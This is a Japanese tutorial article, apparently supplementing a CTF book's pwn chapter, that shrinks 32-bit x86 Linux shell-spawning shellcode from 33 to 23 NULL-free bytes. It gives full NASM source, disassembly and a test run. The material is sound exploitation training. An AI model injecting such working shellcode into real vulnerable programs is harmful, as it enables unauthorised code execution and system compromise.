2016.12.29
シェルコードを圧縮する
書籍『セキュリティコンテストチャレンジブック』2章 pwnの関連記事としてシェルコードに関する記事を3回にわたって掲載。シェルコードを大幅にダイエットしてみましょう。短く書くことで小さなバッファにもシェルコードを送り込みやすくなります。
はじめに
この連載では『セキュリティコンテストチャレンジブック』2章「pwn」の関連記事としてシェルコードに関する記事を計3回にわたって掲載します。(書籍未掲載記事です!) 前回の記事『3 シェルコードを書いてみる』はこちら
4. シェルコードを圧縮する
シェルコードはできるだけ短く書くことで小さなバッファにもシェルコードを送り込みやすくなります。先ほど 33 バイトだった binsh.s
を様々なテクニックを用いて大幅にダイエットしてみましょう。
・XOR を使う
シェルコードで目立つのは mov ecx, 0
などの mov 命令に NULL バイトが多く含まれていて勿体無いという点です。また、 NULL バイトは文字列の終端として扱われるためシェルコード中では極力使わない方がより文字列操作関数の影響を受けにくい、ポータブルなシェルコードを作成することができます。
XOR は排他的論理和の演算を行いますが、この演算は同じ値で XOR を取ると結果が 0 になる特徴があります。mov ecx, 0
では単純に ecx
を 0 にするという処理だけであるため、xor 命令に置換することができます。
; binsh2.s BITS 32 global _start _start: mov eax, 11 jmp buf setebx: pop ebx xor ecx, ecx xor edx, edx int 0x80 buf: call setebx db '/bin/sh', 0
これを NASM でアセンブルしてサイズを確認すると 33 バイトから 27 バイトと、6 バイトもの削減を達成することが出来ました。mov 命令によるゼロクリアを xor 命令に置き換えることでサイズ削減と NULL バイトの除去の一石二鳥の効果があるため、シェルコードを作成するときには忘れずに使うようにしましょう。
$ nasm binsh2.s $ wc binsh2 0 1 27 binsh2 $ ndisasm -b32 binsh2 00000000 B80B000000 mov eax,0xb 00000005 EB07 jmp short 0xe 00000007 5B pop ebx 00000008 31C9 xor ecx,ecx 0000000A 31D2 xor edx,edx 0000000C CD80 int 0x80 0000000E E8F4FFFFFF call dword 0x7 00000013 2F das 00000014 62696E bound ebp,[ecx+0x6e] 00000017 2F das 00000018 7368 jnc 0x82 0000001A 00 db
・小さいサイズのレジスタを使用する
次に目がつくのは mov eax, 11
の命令です。他の mov 命令は単純に xor 命令に置き換えることで短くすることができましたが、 0 以外の値をセットしている場合にはどうすればよいでしょうか。実は eax, ebx, ecx, edx のレジスタには 1 バイト単位でアクセスする方法が存在します。レジスタのすべての範囲にアクセスできるわけではありませんが、次の表のような対応でレジスタにアクセスすることができます。
例えば、 eax = 0x12345678
となっているとき、 eax レジスタの下位 8 ビットにアクセスしたい場合は al レジスタにアクセスすることで 0x78
の部分の値を読み書きできることになります。
mov eax, 11
という命令は見方を変えれば「 eax レジスタをゼロクリアした後に al レジスタに 11 を書き込む」というように 2 つに分けて考えることができます。つまり、先ほどの XOR を使ったゼロリセットと al レジスタを使った書き込みを行うことで mov eax, 11
という命令を置き換えることができます。
; binsh3.s BITS 32 global _start _start: xor eax, eax mov al, 11 jmp buf setebx: pop ebx xor ecx, ecx xor edx, edx int 0x80 buf: call setebx db '/bin/sh', 0
このコードを先ほどと同じように NASM でコンパイルしてサイズの比較をしてみます。
$ nasm binsh3.s $ wc binsh3 0 2 26 binsh3 $ ndisasm -b 32 binsh3 00000000 31C0 xor eax,eax 00000002 B00B mov al,0xb 00000004 EB07 jmp short 0xd 00000006 5B pop ebx 00000007 31C9 xor ecx,ecx 00000009 31D2 xor edx,edx 0000000B CD80 int 0x80 0000000D E8F4FFFFFF call dword 0x6 00000012 2F das 00000013 62696E bound ebp,[ecx+0x6e] 00000016 2F das 00000017 7368 jnc 0x81 00000019 00 db
置き換えた結果、 27 バイトだったシェルコードが 1 バイト短くなり、 26 バイトになりました。同時に シェルコードの末端以外に NULL バイトが出現しなくなったため、文字列として扱った際に NULL バイトにより処理が途中で止まる問題も発生しなくなりました。
・スタック上にバッファを取る
ここまでで 2 つのテクニックを用いてシェルコードの短縮をしてきましたが、シェル起動のためのシェルコードはまだ短縮することができます。最初は説明の簡単化のために jmp-call を使って /bin/sh
のアドレスを取得していましたが、この文字列をスタック上に push してアドレスを取得することでさらなるシェルコード短縮を実現することができます。
push 命令はスタックトップに値を追加する動作を行います。スタックはメモリ上に存在するため、スタックのトップを指す ESP レジスタはメモリ上の値を保持していることになります。つまり、スタック上に文字列のバッファを置いてしまえば ESP レジスタを使って文字列の先頭アドレスを取得できるのです。
スタックには /bin//sh
という 8 バイトの文字列と、文字列の終端となる NULL バイトを 3 回に分けて push しています。スタックは上に積み上げていくため、push するときは順番に気をつけてください。
この通りにスタックに push するときのアセンブラ命令は次のようになります。
push 0 push 0x68732f2f push 0x6e69622f
しかし、このままでは push 0
を行うときにシェルコード中に NULL バイトが登場してしまうことが予想されます。2 つのテクニックを使ってせっかく NULL バイトをなくしたのにこれでは意味がありません。代わりに xor 命令でゼロクリアしたレジスタの値を push することでシェルコード中に NULL バイトが現れるのを防ぐことができます。
スタックへ /bin//sh
の文字列を置くことさえできてしまえば、 mov ebx, esp
を使うだけで簡単に文字列のアドレスを EBX レジスタにセットすることができます。ここまでの一連の変更を加えたシェルコードは次のようになります。
; binsh4.s BITS 32 global _start _start: xor eax, eax mov al, 11 xor ecx, ecx xor edx, edx push ecx push 0x68732f2f push 0x6e69622f mov ebx, esp int 0x80
最初に書いたシェルコードと比べると驚くほどすっきりした印象を持つかと思います。シェルコードを短く書くということは無駄な処理を省くことと同じですから、短いシェルコードほど綺麗にまとまっている印象を受けるようになります。
それではこのコードをアセンブルして結果を確認してみましょう。
$ nasm binsh4.s $ wc binsh4 0 2 23 binsh4 $ ndisasm -b 32 binsh4 00000000 31C0 xor eax,eax 00000002 B00B mov al,0xb 00000004 31C9 xor ecx,ecx 00000006 31D2 xor edx,edx 00000008 51 push ecx 00000009 682F2F7368 push dword 0x68732f2f 0000000E 682F62696E push dword 0x6e69622f 00000013 89E3 mov ebx,esp 00000015 CD80 int 0x80
26 バイトから更に 3 バイト短くなり、なんと 23 バイトでシェルが起動するシェルコードを書くことができました。最初のシェルコードが 33 バイトだったことを考えると、 10 バイトの削減に成功したことになります。更に NULL バイトも含まれておらず、とても整ったシェルコードに生まれ変わりました。
最後にここまで短くなったシェルコードが本当に動くかどうか確認します。
$ nasm -f aout binsh4.s $ ld -m elf_i386 binsh.o $ ./a.out $ id uid=1000(ctf4b) gid=1000(ctf4b) groups=1000(ctf4b),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare) $ exit
問題なく動いているようです。このようなテクニックを知っておくとシェルコードを短くするほかに、特定バイトを使うことができないなどの制約付きのシェルコード問題が出題された時に焦らず対処できるようになるので、日頃からシェルコードを書いてみる習慣を付けておきましょう。